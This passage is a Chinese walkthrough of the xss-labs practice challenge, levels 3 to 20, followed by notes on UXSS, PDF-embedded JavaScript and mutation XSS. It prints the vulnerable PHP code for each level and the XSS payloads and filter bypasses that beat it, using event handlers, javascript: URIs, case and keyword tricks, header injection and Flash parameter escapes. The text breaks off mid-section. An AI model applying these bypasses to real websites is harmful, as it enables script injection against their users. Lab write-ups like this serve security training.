ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
咳咳,发现对双引号“
做了限制,但是却放行了单引号'
,而且居然在value这里也加了htmlspecialchars
函数,这种情况我们可以通过事件标签
触发表单执行。这里开始构造payload:
'οnmοuseοver='alert(/xss/)
可以看到,在提交之后,没有立刻弹出,这里我们还需要将鼠标移动到文本框,让事件触发。
补充:
htmlspecialchars函数
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ’ (单引号)成为 ’
- < (小于)成为 <
- > (大于)成为 >
html事件属性
https://www.w3school.com.cn/tags/html_ref_eventattributes.asp
Leval 4 双引号闭合+添加事件
我们还是一样,使用前面测试过的,先一一过一遍,当然,结果必然是失败的,那么接下来我们看全端代码:
可以发现源代码对>
和<
进行了过滤,我们看源代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
确实使用str_replace()
对尖括号
进行了过滤,而且对单引号'
做了防御,所以,我们直接模仿上一题,使用HTML事件,构造payload:
"οnmοuseοver="alert(/xss/)
这里也是成功过关。
Leval 5 javascript伪协议
终于来到了第五关,我们使用前面的方式都测了一遍,失败无疑,但是发现了一些其他东西:
貌似on
被做了手脚,我们继续在o
后面输入其他,发现只有on
被替换了,这也就意味着事件
是不能用了。
继续尝试发现<script>
也被进行了替换<scr_ipt>
,
到这里相信大家都想到了,我们试试大小写混用:
咳咳,在线打脸哈,输出全为小写,看来人家也是做了大小写过滤了。
继续尝试看看能否闭合,我们输入'
,"
,<
,>
,\
进行尝试,发现只有'
被实体转义。那应该就是可以使用"
来构造闭合:
好,该试的都试过了,接下来我们试试 javascript 的伪协议
:
"><a href=javascript:alert(/xss/)>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jnAqAMgJ-1660619619234)(https://gitee.com/ruoli-s/cloudimage/raw/master/img/image-20210116153501066.png)]
最后,我们也是成功的过关了,当然,还是看一下源码比较踏实:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
也确实如我们猜的一致,分别对on
和<script>
进行了替换,也做了大小写过滤
。好了,继续下一关,欧里给。
补充:javascript伪协议
将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。如:
javascript:var now = new Date(); "<h1>The time is:</h1>" + now;
当浏览器装载了这样的URL时,它将执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。这个字符串值可以含有HTML标记,并被格式化,其显示与其他装载进浏览器的文档完全相同。
javascript URL还可以含有只执行动作,但不返回值的javascript语句。例如:
javascript:alert("hello world!")
装载了这种URL时,浏览器仅执行其中的javascript代码,但由于没有作为新文档来显示的值,因此它并不改变当前显示的文档。
通常我们想用javascript:URL执行某些不改变当前显示的文档的javascript代码。要做到这一点,必须确保URL中的最后一条语句没有返回值。一种方法是用void运算符显式地把返回值指定为underfined,只需要在javascript:URL的结尾使用语句void 0;即可。例如:下面的URL将打开一个新的空浏览器窗口,而不改变当前窗口的内容:
javascript:window.open("about:blank"); void 0;
如果这个URL没有void运算符,window.open()方法的返回值将被转换成字符串并被显示出来,当前窗口将被如下所示的文档覆盖。
Leval 6 大小写绕过
顺利来到第6关,我们正在徒步前行!!!
我们直接拿上一关的payload来测试,当然,也不用想,肯定是行不通的,直接来看前端代码,哎呦我去,发现了个啥,这次连href
也给过滤了,是个狠人。
我们也测试一下on
,<script>
等,发现被过滤的明明白白的,且单引号'
也被实体转义,但是我们也发现了其他的东西,貌似没有多虑大小写哈?
我们直接撸大小写,使用双引号">
构造闭合:
<ScRipt>alert(/xss/)</scRIpT>
这里也是成功过关。继续,冲冲冲!!!
Leval 7 双写绕过
来到第七关,嗯,这个图不错,很魔性有没有?
废话不多说,先来一波,有木有发现还是挺管用的?(●’◡’●)。
发现像script
这种关键字被过滤了,难道是双写
?我们直接使用双引号"
闭合构造payload:
"><scrscriptipt>alert(/xss/)</scrscriptipt>
轻松搞定😁,下一个。
Leval 8 编码绕过
来到第八关,啥也不是。
测试payload,可以看见前面测试过的基本都过滤了,大小写也都卡的死死的,但是我们发现前端代码中直接构造好了<a>
标签,既然这样,我们不妨试试编码,看能否绕过:
这里,笔者自己经过测试,html实体编码和hex编码都可以绕过,我就只放hex编码吧,看大多数博客上都是HTML实体编码,不熟悉的可以自己再了解了解。
我们可以看到,代码转换机制是将script
中的ri
变成了r_i
,所以我们只编码r
和i
试试:
字母 | 十进制 | hex(十六进制) |
---|---|---|
r | r | r |
i | i | i |
构造payload:
javascript:alert(/xss/)
干得漂亮,下一关。
Leval 9 检测关键字
越看这些图片越喜欢🤭,按照惯例,我们还是先捣鼓一番。
我去,什么情况,该试的基本都试了一遍,这代码给的是个啥?我们输入的payload呢??
不行,待老衲去查看源代码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
牛逼了,牛逼上天了,除了以前做过的所有过滤,竟然还加了个strpos函数
,谁都不服就服你,这函数的意思是咱们输入的字符串里面必须要有http://
字符,我,吐了呀,这谁能想的到:
看到这里并没有对编码进行过滤,所以我们还是延用上题的payload:
javascript:alert('xsshttp://')
咳咳,这题,,,挺不人道的,下一个,啥也不是。
补充:strpos函数
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
注释:strpos() 函数对大小写敏感。
注释:该函数是二进制安全的。
相关函数:
stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
Leval 10 隐藏信息
历经千辛万苦,终于来到了整个挑战的一半,呜呜呜。
噗噗噗,又吐了呀,所有的都试了,为毛又跑到URL链接上去了?看代码神马都没得呀,但是冒出了个表单是啥?还在页面没有显示?
没办法,去看源码吧,哎,心碎了💔
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
发现没有?感情keyword
参数只是一个迷惑而已呀,真正起作用的是t_sort
参数,但是有一个问题,它的type
类型是hidden
,我们得在前端改为text
类型,让其显现出来,且后台只对<>
做了过滤,我们可以用事件来构造:
"οnmοuseοver="alert(/xss/)
注意:一定要在前端修改2次
type类型,才能完成弹窗。
Leval 11 Referer
来到了11关,因为10关以后的基本不可能那么简单,所以我们也没必要再进行猜测浪费时间,直接看前端代码,进行检测,实在不行的,只能去看源码了。
可以看到,和第十关比较类似,都有隐藏的表单。只是多了一个t_ref
参数,就是不知道是不是传参的。 我们先来尝试使用上一关的方法,从标签入手。
构造代码:
&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text
查看网页代码:
可以看到t_sort
还是接受参数的,我们直接来看源代码吧!!
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
发现多了一个$str11=$_SERVER['HTTP_REFERER']
字段,而我们知道,HTTP_REFERER是获取http请求中的Referer字段的,也就是我们是从哪一个页面来到现在这个页面的。我们可以使用Hackbar
进行修改Referer
字段。
查看网页代码,发现传入的referer值被t_ref
获取了。
接下来我们就可以尝试构造代码,从referer这里突破:
" οnclick="alert(/xss/)" type="text
查看网页代码:
最后点击文本框即可:
Leval 12 User-agent
貌似越来越难了,连图都开始落泪了。桑心 /(ㄒoㄒ)/~~
我们还是直接看网页代码吧:
有木有发现这次传入的值这么眼熟呢?(●’◡’●),没有的话,我们来看下面这张图:
哈哈,是不是一模一样呢?那么思路就有了,我们直接从User-agent
入手,构造代码:
user-agent" οnclick="alert(/xss/)" type="text
最后,我们来检测网页代码:
Ok,这里我们也是直接过关。
Leval 13 Cookie
来到13关,因为也不知道人家到底是从哪里入手,所以我们直接去看网页代码:
可以看到,又多了一个参数t_cook
,猜测可能是cookie,我们直接上代码试试:
Cookie" οnclick="alert(/xss/)" type="text
可以看到,我们在Hackbar中添加的cookies字段,并没有成功传进去。
那就只能去抓个包看看了,是时候打开我们尘封已久的Burp Suite
了。通过抓包,我们可以看到,竟然多了一个参数user
,原来cookie的值是通过user才传进去的。无奈╮(╯▽╰)╭
既然知道了传参的关键,那我们就好构造代码了:
Cookie" οnclick="alert(/xss/)" type="text
我们通过Repeater
模块看到参数已经传进去,那么将包放掉,去看看我们的收获。
OK,13关也顺利过了。继续
Leval 14 Exif
这是个嘛玩意??图片呢?等等,好像跳转了,可小编貌似也没那么长寿等下去哈,一直刷不出来(关键是我开了梯子也不行啊,果断放弃看答案)····
去网上查了一下,说是什么Exif xss,好吧,我只知道CTF
中的杂项中负责隐写的那一块有在Exif中隐藏信息的,再去百度吧
好吧,就当涨涨见识了😂
Leval ng-include
刚开始找了一圈,愣是没找到什么,最后发现,URL里面的参数在网页源码里有显示,觉得可能有什么幺蛾子。
又看了看网页源代码,发现确实有个ng-include
,也不知道是个啥。。。
最后去百度瞅了瞅,说什么ng-include
是angular js
中的东西,自己也不太懂,不过,貌似就跟php中的include函数类似,是将一个文件给包含进来。
说到这,我们来看看ng-include
的用法:
1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。
值得注意的是:
- ng-include,如果单纯指定地址,必须要加引号
- ng-include,加载外部html,script标签中的内容不执行
- ng-include,加载外部html中含有style标签样式可以识别
再去看看源代码:
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
可以看到这里是通过src
传参,而且还对<>
做了过滤,既然这里可以包含html文件,那也就是说也可以包含之前咱们做过的有xss漏洞的文件,所以就可以构造:
'level1.php?name=<a href="javascript:alert(/xss/)">'
OK,成功弹窗,下一个,这两关做的人难受。
Leval 16 空格实体转义
经过测试,发现在url里面传入参数,我们直接上最简单的试试:
发现script
字样直接被过滤,甚至连/script
也被滤掉了,那么试试上关的payload:
<img src="" onerror=alert('xss')>
呃呃,貌似空格被实体了:
好吧,现在也只能使用其他来代替空格了,第一个想到的是回车
,即如下:因为在html里,回车是可以代替空格的。
<img
src=””
onerror=alert(‘xss’)
>
最后使用URL编码
将回车符转换为%0a
替代即可:
<img%0Asrc=""%0Aοnerrοr=alert('xss')>
欧克欧克,成功弹窗。
顺便看下源代码:果然,全部被使用
实体替代了。
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
Leval 17 参数拼接
emmm,又没图了,哎,随便传了几个参数,发现,是根据arg01
和arg02
两个参数进行接受的,传参之后,对两个参数进行了拼接
,那么我门是不是可以直接使用事件来触发呢?
呃,貌似没啥反应啊,但是我们可以看到,明明有事件可以触发,奇了怪了。
去问了度娘,人家说这里加载了swf
图片,但是真不幸的是,我们的firefox
直接出不来,呜呜,换了Google,擦,flash
被屏蔽了,但弹窗还是能出来:
又换了星愿
,终于出来了,呜呜😭
顺便看看源代码,看来和我们想的差不多,通过两个arg
传参,且过滤了<>
。
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
Leval 18 参数拼接
呃,刚开始以为又没图了呢,看到网页代码后,又有个swf
,好吧,果断换浏览器。
噗,这什么,,忽悠也不至于这样的吧,
直接使用上一关的payload:
onmouse&arg02=alert(/xss/)
噗噗,这也行,直接就弹了?没看懂,过吧!!
Leval 19 Flash xss
先试试上关的payload:好吧,看来是要使用"
闭合,但是闭合之后,又因为又有htmlspecialchars()
函数在这过滤,所以也没办法闭合。
查看前端代码,发现访问swf
的时候在传参
接下来直接访问这个链接。
这里可以看到flash
里面提示sifr.js
是没有定义的,这不仅仅是个图片。。。
需要对flash
进行反编译查看源码,使用的是jpexs
通过sifr
找到了对应的脚本位置,比较长,就一点点说明过程了。
在此脚本中找到了flash
显示的信息,关键在%s
这里。
接着去定位%s
,
这里先把VERSION.WARNING
以%s
打散成数组,然后再以version
的方式组合成字符串。搜索了一圈,并没有version
,哎,对flash
太不熟悉了,只通过p-code
发现了这样的一个东西。。。
感觉是通过url里面获取变量的,于是构造了一个尝试arg01=version&arg02=123,原因是php里面是这样传参的,必须是两个值。
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
结果和预期一样,123出现了。
尝试了大量xss
语句发现,只有<a>
这种可以,如果是img
或者svg
后面都会不完整,所以就构造了语句arg01=version&arg02=<a href="javascript:alert(/xss/)">xss</a>
点击xss
就可以进入下一关了。
Leval 20 Flash xss
反编译swf文件源码,进行审计。
package
{
import flash.display.LoaderInfo;
import flash.display.Sprite;
import flash.display.StageScaleMode;
import flash.events.Event;
import flash.events.MouseEvent;
import flash.external.ExternalInterface;
import flash.system.Security;
import flash.system.System;
public class ZeroClipboard extends Sprite
{
private var button:Sprite;
private var id:String = "";
private var clipText:String = "";
public function ZeroClipboard()
{
super();
stage.scaleMode = StageScaleMode.EXACT_FIT;
Security.allowDomain("*");
var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;
id = flashvars.id;
button = new Sprite();
button.buttonMode = true;
button.useHandCursor = true;
button.graphics.beginFill(13434624);
button.graphics.drawRect(0,0,Math.floor(flashvars.width),Math.floor(flashvars.height));
button.alpha = 0;
addChild(button);
button.addEventListener(MouseEvent.CLICK,clickHandler);
button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null);
});
button.addEventListener(MouseEvent.MOUSE_OUT,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOut",null);
});
button.addEventListener(MouseEvent.MOUSE_DOWN,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseDown",null);
});
button.addEventListener(MouseEvent.MOUSE_UP,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseUp",null);
});
ExternalInterface.addCallback("setHandCursor",setHandCursor);
ExternalInterface.addCallback("setText",setText);
ExternalInterface.call("ZeroClipboard.dispatch",id,"load",null);
}
public function setHandCursor(param1:Boolean) : *
{
button.useHandCursor = param1;
}
private function clickHandler(param1:Event) : void
{
System.setClipboard(clipText);
ExternalInterface.call("ZeroClipboard.dispatch",id,"complete",clipText);
}
public function setText(param1:*) : *
{
clipText = param1;
}
}
}
还好不是很长,这个和上一关代码明显不一样,上一关是getlURL,而这一关是ExternalInterface.call。
首先通过LoaderInfo从URL中取值
除了上面的id以外还要取两个值width和height。
接下来构造payload就可以了
arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width=123%26height=123
首先arg01=id这个就不用解释了,arg02=xss"))}catch(e){alert(/xss/)}//这个地方有不少要说明的,首先为什么要加",来看看不加的结果
所以要加一个"进行闭合,让id不等于xss))}catch(e){alert(/xss/)}//,因为等下会直接将id的值全部都传到flash中,flash中仍然也有需闭合的部分,再来看看有"的结果
你会发现好像没有什么变化,这因为php做了htmlspecialchar()过滤,至于为什么这样写,那就得看flash的代码了,等会id就会传到下面来
后面的可以不用管,因为会被我后面的//给注释掉,这里注意,由于是通过LoaderInfo取值的,所以就会变成这个样子
{
"id" = "xss\"))}catch(e){alert(/xss/)}//"
}
可以看到,如果不加\转义id就会变成xss,也就是下面的这个样子,当id再传到里面的函数里面时就起不到报错的作用了。
{
"id" = "xss"))}catch(e){alert(/xss/)}//"
}
接下来有许多函数都使用了id,ExternalInterface.call(a,b)相当于JS中的函数名(代码)
我们可以看到上面函数名已经固定了,要是没固定直接改成alert美滋滋,所以我们就从id这里着手,把id的值代进去。
ExternalInterface.call(“xxxx”,“xss”))}catch(e){alert(/xss/)}//"),这样不太容易看的话,换种方式
private function clickHandler(param1:Event) : void
{
System.setClipboard(clipText);
ExternalInterface.call("ZeroClipboard.dispatch","xss\"))}catch(e){alert(/xss/)}//","complete",clipText);
}
# 把多余的去掉就会变成这样
private function clickHandler(param1:Event) : void
{
ExternalInterface.call("ZeroClipboard.dispatch","xss\"))}catch(e){
alert(/xss/)
}
//","complete",clipText);
}
然后你就会发现这样一搞,由于前面少了一个真正可以闭合的"于是会报错,所以后面抛出异常的catch就可以生效了,于是执行后面的alert(/xss/)。
再来说下//后面的%26width=123&26height=123,%26其实是&,那为啥非得写%26呢,先来看一个&的。
你会发现啥都没有,因为php就拿前两个参数,再看%26
可以了,访问这个地址就搞定了。
特殊的xss
UXSS
一般概念
通用跨站脚本攻击(UXSS——Universal Cross-Site Scripting),UXSS是利用浏览器本身或者浏览器扩展程序的漏洞,所以对于攻击发起时浏览器打开或缓存的所有页面(即使不同域的情况)的会话信息都可以进行访问。简单的说,UXSS不需要一个漏洞页面来触发攻击,它可以渗透入安全没有问题的页面,从而创造一个漏洞。
与xss比较
UXSS保留了基本的XSS特征:利用漏洞,执行而言代码。主要区别:与常见的 XSS 攻击不同,UXSS 是一种利用浏览器或浏览器扩展中的客户端漏洞来生成 XSS 条件并执行恶意代码的攻击类型。当发现并利用此类漏洞时,浏览器的行为会受到影响,其安全功能可能会被绕过或禁用。
XSS受同源策略,UXSS不受同源策略。
XSS是由于页面本身存在漏洞产生的;UXSS可以对浏览器访问的所以站点产生影响。
案例
1、IE6或火狐浏览器扩展程序Adobe Acrobat的漏洞
这是一个比较老的漏洞,但这是一个比较经典的例子。当使用扩展程序时导致错误,使得代码可以执行。这是一个在pdf阅读器中的bug,允许攻击者在客户端执行脚本。构造恶意页面,写入恶意脚本,并利用扩展程序打开pdf时运行代码。
Stefano Di Paola 和 Giorgio Fedon在一个在Mozilla Firefox浏览器Adobe Reader的插件中可利用的缺陷中第一个记录和描述的UXSS
Adobe插件通过一系列参数允许从外部数据源取数据进行文档表单的填充,如果没有正确的执行,将允许跨站脚本攻击。原pdf: http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf或者详见http://jeremiahgrossman.blogspot.com/2007/01/what-you-need-to-know-about-uxss-in.html
2、IE8跨站脚本过滤器缺陷
David Lindsay 和Eduardo Vela Nava已经在2010年的BlackHat Europe展示了这个漏洞的UXSS利用。
IE8中内置了XSS过滤器,用于检测反射XSS,并采取纠正措施:在页面渲染之前更改响应内容。
在这种特殊情况下,等号将会被过滤器去除,但是通过精心构造的XSS字符串在特定的地方,这个逻辑会导致浏览器创建XSS条件。微软的响应是改变了XSS过滤器去除的字符。具体可以查看pdf: http://p42.us/ie8xss/Abusing_IE8s_XSS_Filters.pdf
3、Flash Player UXSS 漏洞 – CVE-2011-2107
一个在2011年Flash Player插件(当时的所有版本)中的缺陷使得攻击者通过使用构造的.swf文件,可以访问Gmail设置和添加转发地址。因此攻击者可以收到任意一个被攻破的Gmail帐号的所有邮件副本(发送的时候都会抄送份)。Adobe承认了该漏洞,详见http://www.adobe.com/support/security/bulletins/apsb11-13.html
4、安卓版Chrome浏览器漏洞
移动设备也不例外,而且可以成为XSS攻击的目标。Chrome安卓版存在一个漏洞,允许攻击者将恶意代码注入到Chrome通过Intent对象加载的任意的web页面。具体详见https://code.google.com/p/chromium/issues/detail?id=144813
PDFXSS
一般概念
将JavaScript嵌入到PDF文档之中,后通过用户该PDF文件触发弹窗。测试后发现chrome类浏览器可触发,火狐浏览器不行。算是UXSS的一种。
测试过程
1、启动迅捷 PDF 编辑器打开一个 PDF 文件,或者使用“创建 PDF 文件”功能,通过将其他文档和资源转换为“可移植文档格式”来创建 PDF 文件。
2、单击左侧的“页面”标签,选择与之对应的页面缩略图,然后从选项下拉菜单中选择“页面属性”命令
选择“页面属性”命令
3、在“页面属性”对话框单击“动作”标签,再从“选择动作”下拉菜单中选择“运行 JavaScript”命令,然后单击【添加】按钮,弹出 JavaScript 编辑器对话框
填写 JavaScript 代码
4、在弹出的“JavaScript 编辑器”对话框中输入代码:
app.alert(‘XSS’);
单击【确定】按钮保存 PDF 文件。
这里需要注意的是:Adobe 支持自身的 JavaScript 对象模型,例如 alert(‘xss’)必须被 APP 对象调用,因此变成了 app.alert(‘xss’)。这意味着,利用 JavaScript 进行攻击时只能使用 Adobe 所支持的功能。
5、关闭软件,直接打开刚才保存的 PDF 文件,JavaScript 代码即被执行。
MXSS
一般概念
不论是服务器端或客户端的XSS过滤器,都认定过滤后的HTML源代码应该与浏览器所渲染后的HTML代码保持一致,至少不会出现很大的出入。然而,如果用户所提供的富文本内容通过javascript代码进属性后,一些意外的变化会使得这个认定不再成立:一串看似没有任何危害的HTML代码,将逃过XSS过滤器的检测,最终进入某个DOM节点中,浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。 这种由于HTML内容进后发生意外变化(mutation,突变,来自遗传学的一个单词,大家都知道的基因突变,gene mutation),而最终导致XSS的攻击流程,被称为突变XSS(mXSS, Mutation-based Cross-Site-Scripting)。
国外大牛Mario Heiderich在2013年所写的一篇paper:mXSS attacks: attacking well-secured web-applications by using innerHTML mutations,有兴趣深入了解可以看看。
XSS过滤所假设的前提
mXSS攻击流程
将内容置于innerHTML这种操作,在现在的WEB应用代码中十分常见,根据原文作者的统计,1W个常见的WEB应用中,大约有1/3使用了innerHTML属性,这将会导致潜在的mXSS攻击。从浏览器角度来讲,mXSS对三大主流浏览器(IE,CHROME,FIREFOX)均有影响。表1列出到目前为止已知的mXSS种类,接下来的部分将分别对这几类进行讨论与说明。建议读者主要使用IE8来测试本文中的代码。具体测试代码如下:
#!html
<div id="testa">xx</div>
<div id="testb">xx</div>
<script>
//请自行将输入的HTML代码中的双引号以及 \进行转义操作
//其中: " -> \" , \ -> \\
var m="此处输入被测试的HTML代码";
//1. 将用户输入内容放入innerHTML
var x=document.getElementById("testa");
x.innerHTML=m;
//2. 发生突变后,取出突变后的内容,放入html变量
var html=x.innerHTML;
//3. 弹出突变后的代码
alert(html);
//4. 将突变后的代码输出到DOM中
document.getElementById("testb").innerHTML = html;
</script>
MXSS种类
英文 | 中文 |
---|---|
Backtick Characters breaking Attribute Delimiter Syntax | 反引号打破属性边界导致的 mXSS |
XML Namespaces in Unknown Elements causing Structural Mutation | 未知元素中的xmlns属性所导致的mXSS |
Backslashes in CSS Escapes causing String-Boundary Violation | CSS中反斜线转义导致的mXSS |
Misfit Characters in Entity Representation breaking CSS Strings | CSS中双引号实体或转义导致的mXSS |
CSS Escapes in Property Names violating entire HTML Structure | CSS属性名中的转义所导致的mXSS |
Entity-Mutation in non-HTML Documents | 非HTML文档中的实体突变 |
Entity-Mutation in non-HTML context of HTML documents | HTML文档中的非HTML上下文的实体突变 |
反引号打破属性边界导致的 mXSS
该类型是最早被发现并利用的一类mXSS,于2007年被提出,随后被有效的修复,所以当前绝大多数用户的浏览器不会被此mXSS所影响。当时的利用代码如下:
输入形式:
<img src="test.jpg" alt ="``οnlοad=xss()" />
突变形式:
<IMG alt =``οnlοad=xss() src ="test.jpg">
可以看到,突变后的形式变成了有效的XSS攻击代码。
未知元素中的xmlns属性所导致的mXSS
一些浏览器不支持HTML5的标记,例如IE8,会将article,aside,menu等当作是未知的HTML标签。对于开发者来说,虽然是未知标签,但是我们还是可以通过设置这些标签的xmlns 属性,让浏览器知道这些未知的标签是的XML命名空间是什么。一般来说,在HTML中,指定这些未知标签的xmlns属性并没有任何意义,也不会改变它们在浏览器中的外观之流的东西。但是,这些被指定了xmlns属性的标签进入innerHTML后,被浏览器所渲染,就会发生一些变化,而这个变化被十分猥琐的用于了XSS。首先我们来看正常情况下设置xmlns的情况。
输入形式:
<pkav xmlns="urn:wooyun">123
突变形式:
<wooyun:pkav xmlns="urn:wooyun">123</wooyun:pkav>
接着猥琐流很快就会想到下面的代码,可以看出,成功变成了含有οnerrοr=alert(1) 的img标签。
输入形式:
<pkav xmlns="urn:img src=1 οnerrοr=alert(1)//">123
突变形式:
<img src=1 onerror=alert(1)//:pkav xmlns="urn:img src=1 οnerrοr=alert(1)//">123</img src=1 onerror=alert(1)//:pkav>
扩展:细心的同学也许会注意到,我们的代码中,并未闭合标签。那么一个经常碰到的场景是:XSS过滤器会在解析HTML代码时,自动补全未闭合的标签。这样一来,就会出现下面的场景:
输入形式:
<pkav xmlns="urn:wooyun">123
过滤后形式:
<pkav xmlns="urn:wooyun">123</pkav>
突变后形式:
<?XML:NAMESPACE PREFIX = [default] urn:wooyun NS = "urn:wooyun" /><pkav xmlns="urn:wooyun">123</pkav>
聪明的我们应该不难想到应对办法,这应该也就是html5sec.org/?xmlns#97中所描述问题的发现过程(由Silin于2011年发现)。
输入形式:
<pkav xmlns="><iframe οnlοad=alert(1)">123</pkav>
突变后形式:
<?XML:NAMESPACE PREFIX = [default] ><iframe onload=alert(1) NS = "><iframe οnlοad=alert(1)" /><pkav xmlns="><iframe οnlοad=alert(1)">123</pkav>
CSS中反斜线转义导致的mXSS
在CSS中,允许用\来对字符进行转义,例如:property: 'v\61 lue'
表示 property:'value'
,其中61是字母a的ascii码(16进制)。\后也可以接unicode,例如:\20AC 表示 € 。正常情况下,这种转义不会有问题。但是碰上innerHTML后,一些奇妙的事情就发生了。看以下代码。
输入形式:
<p style="font-family:'ar\27 \3bx\3a expression\28xss\28\29\29\3bial';"></p>
突变形式:
<P style="FONT-FAMILY: 'ar';x:expression(xss());ial'"></P>
可以看到,突变后的形式中,原输入的font-family的属性值中的所有转义形式均被解码回它原有的形式。其中\27被解码为单引号,提前闭合掉了FONT-FAMILY属性,接着插入了我们自定义的x属性,利用expression来执行Javascript代码。如果结合我们先前已经有所了解的CSS 中的一些XSS技巧,将会让情况看起来变得更加糟糕。例如以下代码,看起来,我们可以把expression变得乱七八糟。
输入形式:
<p style="font-family:'ar\27 \3bx\3a ex\5cpre\2f**\2fssion\28 xss\28 1\29\29\3bial';"></p>
突变形式:
<P style="FONT-FAMILY: 'ar';x:ex\pre/**/ssion(xss(1));ial'"></P>
CSS中双引号实体或转义导致的mXSS
接着上一部分,依然是CSS中所存在的问题,既然反斜线转义会被解码为它原本的形式,那么会出现下面这样一种情况。
输入形式:
<p style="font-family:'aaaa\22\3e\3cimg onerror ….';"></p>
预期的突变形式:
<p style="font-family:'aaaa"><img onerror ….';"></p>
这样一来,不就可以插入任意标签了么?想法很好。但实际上如何呢?
实际的突变形式:
<P style="FONT-FAMILY: 'aaaa'><img onerror ….'"></P>
并非我们想象的那样,而是我们的\22竟然变成了单引号,按照原文作者的说法,我们只能对这种奇怪的结果所产生的原因做出推测:\22 先被解码为 ",但考虑到双引号会闭合掉style属性,所以浏览器渲染引擎将"进一步转变为了’,以避免这种情况的发生。当然,这也意味这,除了 \22,\0022 之外,HTML实体如:" " "
等双引号的表示形式均可导致这类问题。
CSS属性名中的转义所导致的mXSS
前2部分都讲到的CSS属性值中的情况,如果CSS属性名中出现了反斜线转义,又会如何?见下面代码。
